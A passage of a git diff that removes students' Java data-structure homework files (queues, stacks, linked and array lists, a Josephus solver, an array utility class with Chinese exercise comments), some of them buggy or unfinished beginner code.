-}
diff --git a/group23/601689050/8weekQueue/CircleQueue.java b/group23/601689050/8weekQueue/CircleQueue.java
deleted file mode 100644
index 7ca98467ec..0000000000
--- a/group23/601689050/8weekQueue/CircleQueue.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/**
- * Created by lxx on 2017/5/6.
- */
-public class CircleQueue{
-
-    private int size;
-    private int first;
-    private int last;
-    Object[] queue;
-
-    public CircleQueue(int size){
-        queue = new Object[size];
-        first = 0;
-        last = 0;
-    }
-
-    public boolean isEmpty(){
-        return first == last;
-    }
-
-    public void enCircleQueue(Object o){
-        if( (last+1) % size == first){
-               System.out.println("Circle Queue is full");
-        }else {
-            queue[last] = o;
-            last = (last+1) % queue.length;
-        }
-    }
-
-    public int getSize(){
-        return (last - first + queue.length) % queue.length;
-    }
-
-    public Object deCircleQueue(){
-        if(isEmpty()){
-            return null;
-        }else{
-            Object item = queue[first];
-            first = (first+1)%queue.length;
-            return item;
-        }
-
-    }
-}
diff --git a/group23/601689050/8weekQueue/Josephus.java b/group23/601689050/8weekQueue/Josephus.java
deleted file mode 100644
index 6e24811da3..0000000000
--- a/group23/601689050/8weekQueue/Josephus.java
+++ /dev/null
@@ -1,50 +0,0 @@
-
-/**
- * Created by lxx on 2017/5/6.
- */
-
-
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
- * N个人围成一圈（位置记为0到N-1），
- * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * @author
- *
- */
-public class Josephus {
-
-    private static class Node {
-        int data;
-        Node next;
-
-        public Node(int i) {
-            data = i;
-        }
-    }
-
-    public static void execute(int n, int m) {
-
-        Node header = new Node(0);
-        Node pointer = header;
-        for (int i = 1; i < n; i++) {
-            pointer.next = new Node(i);
-            pointer = pointer.next;
-        }
-        pointer.next = header;
-        while (pointer != pointer.next) {
-            for (int i = 1; i <= m; i++) {
-                pointer = pointer.next;
-            }
-            System.out.println(pointer.next.data);
-            pointer.next = pointer.next.next;
-        }
-        System.out.println(pointer.next.data);
-
-    }
-    public static void main(String args[]){
-        Josephus circle = new Josephus();
-        circle.execute(8,4);
-    }
-}
diff --git a/group23/601689050/8weekQueue/Queue.java b/group23/601689050/8weekQueue/Queue.java
deleted file mode 100644
index bdfd22b16f..0000000000
--- a/group23/601689050/8weekQueue/Queue.java
+++ /dev/null
@@ -1,55 +0,0 @@
-import javax.xml.soap.Node;
-import java.util.NoSuchElementException;
-
-/**
- * Created by lxx on 2017/5/6.
- */
-public class Queue<E> {
-
-    private Node<E> first;
-    private Node<E> last;
-    private int size;
-
-    private static class Node<E>{
-        private E item;
-        private Node<E> next;
-    }
-    public Queue(){
-        first = null;
-        last = null;
-        size = 0;
-    }
-    public boolean isEmpty(){
-        return first == null;
-    }
-    public int size(){
-        return size;
-    }
-    public void enQueue(E data){
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if(isEmpty()){
-            first = last;
-        }else {
-            oldlast.next = last;
-        }
-        size++;
-    }
-    public E deQueue(){
-        if(isEmpty()){
-            throw new NoSuchElementException("queue is empty");
-        }else{
-            E item = first.item;
-            first = first.next;
-            size--;
-            if(isEmpty()){
-                last = null;
-            }
-            return item;
-        }
-    }
-
-
-}
diff --git a/group23/601689050/8weekQueue/QueueWithTwoStacks.java b/group23/601689050/8weekQueue/QueueWithTwoStacks.java
deleted file mode 100644
index c8976aca56..0000000000
--- a/group23/601689050/8weekQueue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,47 +0,0 @@
-import java.util.Stack;
-
-/**
- * Created by lxx on 2017/5/6.
- */
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;
-    private Stack<E> stack2;
-    public QueueWithTwoStacks(){
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-    public boolean isEmpty(){
-        return stack1.isEmpty() && stack2.isEmpty();
-    }
-
-    public int size()
-    {
-        return stack1.size() + stack2.size();
-    }
-
-    public void enQueue(E item){
-
-        stack1.push(item);
-    }
-
-    public E deQueue(){
-        if(stack2.isEmpty()){
-            while(!stack1.isEmpty()){
-                stack2.push(stack1.pop());
-            }
-        }
-        return stack2.pop();
-    }
-    public static void main(String args[]){
-        QueueWithTwoStacks queue = new QueueWithTwoStacks();
-        queue.enQueue(1);
-        queue.enQueue(5);
-        queue.enQueue(4);
-        queue.enQueue(0);
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-        System.out.println(queue.deQueue());
-    }
-}
diff --git a/group23/601689050/9weekStack/QuickMinStack.java b/group23/601689050/9weekStack/QuickMinStack.java
deleted file mode 100644
index 4033461599..0000000000
--- a/group23/601689050/9weekStack/QuickMinStack.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/**
- * Created by lxx on 2017/5/6.
- */
-
-import java.util.Stack;
-
-/**
- * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
- * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
- * @author liuxin
- *
- */
-public class QuickMinStack extends Stack<Integer> {
-
-    Stack<Integer> sMin;
-    public QuickMinStack(){
-        sMin = new Stack<Integer>();
-    }
-    public void push(int data){
-        if(data <= findMin()){
-            sMin.push(data);
-        }
-        super.push(data);
-    }
-    public Integer pop(){
-        int value = super.pop();
-        if(value == findMin()){
-            sMin.pop();
-        }
-        return value;
-    }
-    public int findMin(){
-        if(sMin.isEmpty()){
-            return Integer.MAX_VALUE;
-        }
-        return sMin.peek();
-    }
-
-    public static void main(String args[]){
-        QuickMinStack stack = new QuickMinStack();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(0);
-        System.out.println(stack.pop().intValue());
-        System.out.println(stack.findMin());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-    }
-}
diff --git a/group23/601689050/9weekStack/StackWithTwoQueues.java b/group23/601689050/9weekStack/StackWithTwoQueues.java
deleted file mode 100644
index 8eb1d996bf..0000000000
--- a/group23/601689050/9weekStack/StackWithTwoQueues.java
+++ /dev/null
@@ -1,52 +0,0 @@
-import java.util.LinkedList;
-
-
-/**
- * Created by lxx on 2017/5/6.
- */
-public class StackWithTwoQueues {
-
-    LinkedList<Integer> queue1=new LinkedList<Integer>();
-    LinkedList<Integer> queue2=new LinkedList<Integer>();
-    public void push(int data){
-        queue1.addLast(data);
-    }
-    public int pop() {
-        if (sSize() > 0) {
-            if (!queue1.isEmpty()) {
-                while (queue1.size() > 1) {
-                    queue2.addLast(queue1.removeFirst());
-                }
-                return queue1.removeFirst();
-            } else {
-                while (queue2.size() > 1) {
-                    queue1.addLast(queue2.removeFirst());
-                }
-                return queue2.removeFirst();
-            }
-        } else {
-            System.out.println("栈空,不能出栈");
-            return Integer.MAX_VALUE;
-        }
-    }
-    public int sSize(){
-        return queue1.size() + queue2.size();
-    }
-    public static void main(String[] args)
-    {
-        StackWithTwoQueues stack=new StackWithTwoQueues();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(4);
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        stack.push(5);
-        stack.push(6);
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-        System.out.println(stack.pop());
-    }
-}
diff --git a/group23/601689050/9weekStack/TwoStackInOneArray.java b/group23/601689050/9weekStack/TwoStackInOneArray.java
deleted file mode 100644
index 916e1dab3b..0000000000
--- a/group23/601689050/9weekStack/TwoStackInOneArray.java
+++ /dev/null
@@ -1,81 +0,0 @@
-import java.util.Stack;
-
-/**
- * Created by lxx on 2017/5/6.
- */
-public class TwoStackInOneArray {
-
-
-
-    Object[] data = new Object[10];
-
-    private int index1 = 0;
-    private int index2 = data.length - 1;
-
-
-    private boolean isFull() {
-        if (index1 == index2) {
-            return true;
-        } else
-            return false;
-    }
-
-    private void extendCapacity() {
-
-    }
-
-    /**
-     * 向第一个栈中压入元素
-     *
-     * @param o
-     */
-    public void push1(Object o) {
-
-    }
-
-    /**
-     * 从第一个栈中弹出元素
-     *
-     * @return
-     */
-    public Object pop1() {
-        return null;
-    }
-
-    /**
-     * 获取第一个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek1() {
-        return null;
-    }
-
-    /*
-     * 向第二个栈压入元素
-     */
-    public void push2(Object o) {
-
-    }
-
-    /**
-     * 从第二个栈弹出元素
-     *
-     * @return
-     */
-    public Object pop2() {
-        return null;
-    }
-
-    /**
-     * 获取第二个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek2() {
-        return null;
-    }
-
-}
diff --git a/group23/609041842/src/code/ArrayList.java b/group23/609041842/src/code/ArrayList.java
deleted file mode 100644
index 8acbfe7de5..0000000000
--- a/group23/609041842/src/code/ArrayList.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package code;
-
-import java.util.Arrays;
-
-public class ArrayList {
-
-	private Object[] obj = new Object[0];
-
-	public void add(Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, obj.length);
-		tar[tar.length - 1] = o;
-		obj = tar;
-		System.out.println(Arrays.toString(obj));
-	}
-
-	public void add(int index, Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		tar[index] = o;
-		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
-		obj = tar;
-	}
-
-	public Object get(int index) {
-		return obj[index];
-	}
-	
-	public int size(){
-		return obj.length;
-	}
-
-	public Object remove(int index){
-		Object[] tar = new Object[obj.length-1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
-		Object o = obj[index];
-		obj = tar;
-		return o;//���ر�ɾԪ��
-	}
-	public static void main(String[] args) {
-		ArrayList al = new ArrayList();
-		al.add("hello");
-		al.add("java");
-		al.add(2, "addm");
-		System.out.println(al.remove(1));
-	}
-
-}
diff --git a/group23/609041842/src/code/LinkedList.java b/group23/609041842/src/code/LinkedList.java
deleted file mode 100644
index e42138022e..0000000000
--- a/group23/609041842/src/code/LinkedList.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package code;
-
-public class LinkedList {
-	private static Node head;
-	private Node last;
-	public int size;
-
-	public void add(Object o) {
-		Node l = last;
-		Node newNode = new Node(l, o, null);
-		last = newNode;
-		if (head == null) {
-			head = newNode;
-			size = 1;
-		} else {
-			l.next = newNode;
-			size++;
-		}
-	}
-
-	public void add(int index, Object o) {
-		Node n = node(index);
-		System.out.println(n.data);
-		Node pred = n.prev;
-		Node newNode = new Node(pred, o, n);
-		if (pred == null) {
-			head = newNode;
-		} else {
-			pred.next = newNode;
-		}
-		size++;
-	}
-
-	
-	public Node get(int index){
-		return node(index);
-	}
-	public Node node(int index) {
-		Node n = head;
-		for (int i = 0; i < index; i++) {
-			n = n.next;
-		}
-		return n;
-	}
-
-	public Node remove(int index){
-		Node del = node(index);
-		Node after = del.next;
-		Node before = del.prev;
-		before.next = after;
-		after.prev = before;
-		size--;
-		return del;
-	}
-	private static class Node {
-		Node next;
-		Object data;
-		Node prev;
-
-		private Node(Node prev, Object data, Node next) {
-			this.data = data;
-			this.next = next;
-			this.prev = prev;
-		}
-	}
-
-	public static void main(String[] arg) {
-		LinkedList ll = new LinkedList();
-		ll.add("hello");
-		ll.add("java");
-		ll.add("jvm");
-		ll.add("jvmd");
-		// System.out.println(ll.get(2));
-//		ll.add(1, "ds");
-		System.out.println(ll.get(0).data);
-		System.out.println(ll.get(1).data);
-		System.out.println(ll.get(2).data);
-		System.out.println(ll.get(3).data);
-		System.out.println(ll.size);
-	System.out.println(ll.remove(1).data);
-	System.out.println(ll.get(0).data);
-	System.out.println(ll.get(1).data);
-	System.out.println(ll.get(2).data);
-	System.out.println(ll.size);
-	}
-
-}
diff --git a/group23/609041842/src/code/Queue.java b/group23/609041842/src/code/Queue.java
deleted file mode 100644
index d4f70c2125..0000000000
--- a/group23/609041842/src/code/Queue.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package code;
-
-public class Queue {
-
-	private LinkedList lk = new LinkedList();
-	public void enQueue(Object o){
-		lk.add(o);
-	}
-	public void deQueue(){
-		lk.remove(lk.size-1);
-	}
-	public boolean isEmpty(){
-		if(lk.size == 0)
-			return true;
-		return false;
-	}
-}
diff --git a/group23/609041842/src/code/Stack.java b/group23/609041842/src/code/Stack.java
deleted file mode 100644
index 7226d4d403..0000000000
--- a/group23/609041842/src/code/Stack.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package code;
-
-public class Stack {
-
-	private ArrayList array = new ArrayList();
-	
-	public void push(Object o){
-		array.add(o);
-	}
-	public Object pop(){
-		return array.remove(array.size()-1);
-	}
-	
-	public boolean isEmpty(){
-		if(array.size()<=0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return array.size();
-	}
-	public static void main(String[] args) {
-		Stack sc = new Stack();
-		sc.push("hello world");
-		sc.push("java");
-		sc.push("jvm");
-	}
-	
-}
diff --git a/group23/609041842/src/com/homework01/ArrayList.java b/group23/609041842/src/com/homework01/ArrayList.java
deleted file mode 100644
index 1702690ae7..0000000000
--- a/group23/609041842/src/com/homework01/ArrayList.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.homework01;
-
-import java.util.Arrays;
-
-public class ArrayList {
-
-	private Object[] obj = new Object[0];
-
-	public void add(Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, obj.length);
-		tar[tar.length - 1] = o;
-		obj = tar;
-		System.out.println(Arrays.toString(obj));
-	}
-
-	public void add(int index, Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		tar[index] = o;
-		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
-		obj = tar;
-	}
-
-	public Object get(int index) {
-		return obj[index];
-	}
-	
-	public int size(){
-		return obj.length;
-	}
-
-	public Object remove(int index){
-		Object[] tar = new Object[obj.length-1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
-		Object o = obj[index];
-		obj = tar;
-		return o;//���ر�ɾԪ��
-	}
-	public static void main(String[] args) {
-		ArrayList al = new ArrayList();
-		al.add("hello");
-		al.add("java");
-		al.add(2, "addm");
-		System.out.println(al.remove(1));
-	}
-
-}
diff --git a/group23/609041842/src/com/homework01/LinkedList.java b/group23/609041842/src/com/homework01/LinkedList.java
deleted file mode 100644
index cc72fc2e4c..0000000000
--- a/group23/609041842/src/com/homework01/LinkedList.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package com.homework01;
-
-public class LinkedList {
-	private static Node head;
-	private Node last;
-	public int size;
-
-	public void add(Object o) {
-		Node l = last;
-		Node newNode = new Node(l, o, null);
-		last = newNode;
-		if (head == null) {
-			head = newNode;
-			size = 1;
-		} else {
-			l.next = newNode;
-			size++;
-		}
-	}
-
-	public void add(int index, Object o) {
-		Node n = node(index);
-		System.out.println(n.data);
-		Node pred = n.prev;
-		Node newNode = new Node(pred, o, n);
-		if (pred == null) {
-			head = newNode;
-		} else {
-			pred.next = newNode;
-		}
-		size++;
-	}
-
-	
-	public Node get(int index){
-		return node(index);
-	}
-	public Node node(int index) {
-		Node n = head;
-		for (int i = 0; i < index; i++) {
-			n = n.next;
-		}
-		return n;
-	}
-
-	public Node remove(int index){
-		Node del = node(index);
-		Node after = del.next;
-		Node before = del.prev;
-		before.next = after;
-		after.prev = before;
-		size--;
-		return del;
-	}
-	private static class Node {
-		Node next;
-		Object data;
-		Node prev;
-
-		private Node(Node prev, Object data, Node next) {
-			this.data = data;
-			this.next = next;
-			this.prev = prev;
-		}
-	}
-
-	public static void main(String[] arg) {
-		LinkedList ll = new LinkedList();
-		ll.add("hello");
-		ll.add("java");
-		ll.add("jvm");
-		ll.add("jvmd");
-		// System.out.println(ll.get(2));
-//		ll.add(1, "ds");
-		System.out.println(ll.get(0).data);
-		System.out.println(ll.get(1).data);
-		System.out.println(ll.get(2).data);
-		System.out.println(ll.get(3).data);
-		System.out.println(ll.size);
-	System.out.println(ll.remove(1).data);
-	System.out.println(ll.get(0).data);
-	System.out.println(ll.get(1).data);
-	System.out.println(ll.get(2).data);
-	System.out.println(ll.size);
-	}
-
-}
diff --git a/group23/609041842/src/com/homework01/Queue.java b/group23/609041842/src/com/homework01/Queue.java
deleted file mode 100644
index db8fb359b5..0000000000
--- a/group23/609041842/src/com/homework01/Queue.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.homework01;
-
-public class Queue {
-
-	private LinkedList lk = new LinkedList();
-	public void enQueue(Object o){
-		lk.add(o);
-	}
-	public void deQueue(){
-		lk.remove(lk.size-1);
-	}
-	public boolean isEmpty(){
-		if(lk.size == 0)
-			return true;
-		return false;
-	}
-}
diff --git a/group23/609041842/src/com/homework01/Stack.java b/group23/609041842/src/com/homework01/Stack.java
deleted file mode 100644
index ee5d71d830..0000000000
--- a/group23/609041842/src/com/homework01/Stack.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.homework01;
-
-public class Stack {
-
-	private ArrayList array = new ArrayList();
-	
-	public void push(Object o){
-		array.add(o);
-	}
-	public Object pop(){
-		return array.remove(array.size()-1);
-	}
-	
-	public boolean isEmpty(){
-		if(array.size()<=0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return array.size();
-	}
-	public static void main(String[] args) {
-		Stack sc = new Stack();
-		sc.push("hello world");
-		sc.push("java");
-		sc.push("jvm");
-	}
-	
-}
diff --git a/group23/609041842/src/test.java b/group23/609041842/src/test.java
deleted file mode 100644
index 931a307711..0000000000
--- a/group23/609041842/src/test.java
+++ /dev/null
@@ -1,9 +0,0 @@
-import org.junit.Test;
-
-public class test {
-
-	@Test
-	public void test(){
-		System.out.println("Heool");
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/ArrayList.java b/group23/632678665/com/basic/datastructure/ArrayList.java
deleted file mode 100644
index 7669e8fba0..0000000000
--- a/group23/632678665/com/basic/datastructure/ArrayList.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.basic.datastructure;
-
-import java.util.Arrays;
-
-
-public class ArrayList implements List{
-	private Object [] array =new Object [15];
-	private int size=0;
-	private int aindex=0;
-	@Override
-	public void add(Object o) {
-		if(aindex>(int)(array.length/3*2)){
-			array=autoGrew(array);
-		}
-		array[aindex]=o;
-		size++;
-		aindex++;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		array[index]=o;
-		size++;
-		aindex=index;
-	}
-
-	@Override
-	public Object get(int index) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		return array[index];
-	}
-
-	@Override
-	public Object remove(int index) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		Object o=array[index];
-		for(int i=index;i<array.length;i++){
-			if(i==array.length-1){
-				break;
-			}
-			array[i]=array[i+1];
-		}
-		size--;
-		return null;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-	public Object [] autoGrew(Object [] o){
-		Object [] newArray;
-		return newArray=Arrays.copyOf(o, (int) (o.length*1.5));
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/LinkedList.java b/group23/632678665/com/basic/datastructure/LinkedList.java
deleted file mode 100644
index 3eb2aad4a1..0000000000
--- a/group23/632678665/com/basic/datastructure/LinkedList.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.basic.datastructure;
-
-public class LinkedList implements List{
-	private int size=0;
-	private Node head=null;
-	private int index=-1;
-	
-	private static class Node{
-		Object data;
-		Node next;
-		public Node(Object o,Node next){
-			this.data=o;
-			this.next=next;
-		}
-	}
-	@Override
-	public void add(Object o) {
-		Node front=null;
-		Node last=null;
-		if(head==null){
-			head=new Node(o,null);
-			front=head;
-			size++;
-			index++;
-			return ;
-		}
-		while(front.next!=null){
-			front=front.next;
-		}
-		last=new Node(o,null);
-		front.next=last;
-		index++;
-		size++;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		Node front=null;
-		Node last=null;
-		if(head==null){
-			head=new Node(o,null);
-			front=head;
-			size++;
-			index++;
-			return ;
-		}
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				add(null);
-				front=front.next;
-			}
-		}
-		add(o);
-	}
-
-	@Override
-	public Object get(int index) {
-		Node front=null;
-		if(index==0){
-			if(head==null){
-				throw new IndexOutOfBoundsException();
-			}
-			return head.data;
-		}
-		front=head;
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				throw new IndexOutOfBoundsException();
-			}
-			front=front.next;
-		}
-		return front.next.data;
-	}
-
-	@Override
-	public Object remove(int index) {
-		if(index==0){
-			head=head.next;
-		}
-		Node front=null;
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				throw new IndexOutOfBoundsException();
-			}
-			front=front.next;
-		}
-		front.next=front.next.next;
-		size--;
-		return front.next.data;
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return size;
-	}
-	
-}
diff --git a/group23/632678665/com/basic/datastructure/List.java b/group23/632678665/com/basic/datastructure/List.java
deleted file mode 100644
index a69cde6453..0000000000
--- a/group23/632678665/com/basic/datastructure/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.basic.datastructure;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index,Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/632678665/com/basic/datastructure/Queue.java b/group23/632678665/com/basic/datastructure/Queue.java
deleted file mode 100644
index 41ef95deb9..0000000000
--- a/group23/632678665/com/basic/datastructure/Queue.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.basic.datastructure;
-import java.util.LinkedList;
-public class Queue {
-	private LinkedList linkedList=new LinkedList();
-	
-	public void enQueue(Object o){
-		linkedList.add(o);
-	}
-	
-	public Object deQueue(){
-		Object o=linkedList.get(linkedList.size()-1);
-		linkedList.remove(linkedList.size()-1);
-		return o;
-	}
-	
-	public boolean isEmpty(){
-		return linkedList.isEmpty();
-	}
-	
-	public int size(){
-		return linkedList.size();
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/Stack.java b/group23/632678665/com/basic/datastructure/Stack.java
deleted file mode 100644
index dbc06956e1..0000000000
--- a/group23/632678665/com/basic/datastructure/Stack.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.basic.datastructure;
-
-import java.util.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-
-	public void push(Object o) {
-		elementData.add(o);
-	}
-
-	public Object pop() {
-		Object o=elementData.get(elementData.size()-1);
-		elementData.remove(elementData.size()-1);
-		return o;
-	}
-
-	public Object peek() {
-		return elementData.get(elementData.size()-1);
-	}
-
-	public boolean isEmpty() {
-		return elementData.isEmpty();
-	}
-
-	public int size() {
-		return elementData.size();
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/TestDataStructure.java b/group23/632678665/com/basic/datastructure/TestDataStructure.java
deleted file mode 100644
index e394e8ec61..0000000000
--- a/group23/632678665/com/basic/datastructure/TestDataStructure.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.basic.datastructure;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-public class TestDataStructure {
-
-	@Test
-	public void test1() {
-		List list=new ArrayList();
-		list.add(new Integer(1));
-		list.add(new Integer(2));
-		list.add(new Integer(3));
-		list.add(new Integer(4));
-		list.add(new Integer(5));
-	}
-	public static void main(String [] args){
-		List list=new ArrayList();
-		list.add(new Integer(1));
-		list.add(new Integer(2));
-		list.add(new Integer(3));
-		list.add(new Integer(4));
-		list.add(new Integer(5));
-	}
-
-}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
deleted file mode 100644
index 46c3f8b601..0000000000
--- a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.basic.week2.datastructure;
-
-import static org.junit.Assert.*;
-
-import java.util.Arrays;
-
-import org.junit.Test;
-
-public class ArrayTest {
-	private ArrayUtil t=new ArrayUtil();
-	@Test
-	public void testReverseArray(){
-		int [] data1={7, 9 , 30, 3};
-		int [] data2={7, 9, 30, 3, 4};
-		t.reverseArray(data2);
-	}
-	@Test
-	public void testRemoveZero(){
-		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-		System.out.println(Arrays.toString(t.removeZero(oldArr)));
-	}
-	@Test
-	public void testMerge(){
-		int [] a1 = {3, 5, 7,8};
-		int [] a2 = {4, 5, 6,7};
-		System.out.println(Arrays.toString(t.merge(a1, a2)));
-	}
-	@Test
-	public void testGrow(){
-		int [] oldArray = {2,3,6};
-		System.out.println(Arrays.toString(t.grow(oldArray, 5)));
-	}
-	@Test
-	public void testFibonacci(){
-		System.out.println(Arrays.toString(t.fibonacci(1)));
-	}
-	@Test
-	public void testGetPrimes(){
-		System.out.println(Arrays.toString(t.getPrimes(23)));
-	}
-	@Test
-	public void testGetPerfectNumbers(){
-		System.out.println(Arrays.toString(t.getPerfectNumbers(7)));
-	}
-	@Test
-	public void testJoin(){
-		int [] array= {3,8,9};
-		System.out.println(t.join(array, "-"));
-	}
-}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
deleted file mode 100644
index 10089c1b3a..0000000000
--- a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
+++ /dev/null
@@ -1,228 +0,0 @@
-package com.basic.week2.datastructure;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		int index=(int) (origin.length/2);
-		for(int i=0;i<index;i++){
-			int temp=origin[i];
-			origin[i]=origin[origin.length-1-i];
-			origin[origin.length-1-i]=temp;
-		}
-		System.out.println(Arrays.toString(origin));
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int [] removeZero(int[] oldArray){
-		ArrayList <Integer >array=new ArrayList <Integer>();
-		int from;
-		int to;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]==0){
-				to=i;
-				continue;
-			}
-			array.add(oldArray[i]);
-		}
-		int [] array2=new int[array.size()];
-		for(int i=0;i<array2.length;i++){
-			array2[i]=array.get(i);
-		}
-		return array2;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	@SuppressWarnings("unchecked")
-	public int[] merge(int[] array1, int[] array2){
-		List <Integer> list=new ArrayList<Integer>();
-		for(int i=0;i<array1.length;i++){
-			list.add(array1[i]);
-		}
-		for(int i=0;i<array2.length;i++){
-			list.add(array2[i]);
-		}
-		HashSet <Integer> set=new HashSet<Integer>();
-		set.addAll(list);
-		Object[] array=set.toArray();
-		int [] arrayInt=new int [array.length];
-		for(int i=0;i<array.length;i++){
-			arrayInt[i]=(int)array[i];
-		}
-		Arrays.sort(arrayInt);
-		return arrayInt;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		int length=oldArray.length+size;
-		int [] newArray=new int [length];
-		System.arraycopy(oldArray,0,newArray,0,oldArray.length);
-		return newArray;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		if(max==1){
-			return new int []{};
-		}
-		int front=1;
-		int behind=1;
-		int result=0;
-		List <Integer>list=new ArrayList<Integer>();
-		list.add(front);
-		list.add(behind);
-		while(true){
-			result=front+behind;
-			if(max<result){
-				break;
-			}
-			list.add(result);
-			front=behind;
-			behind=result;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
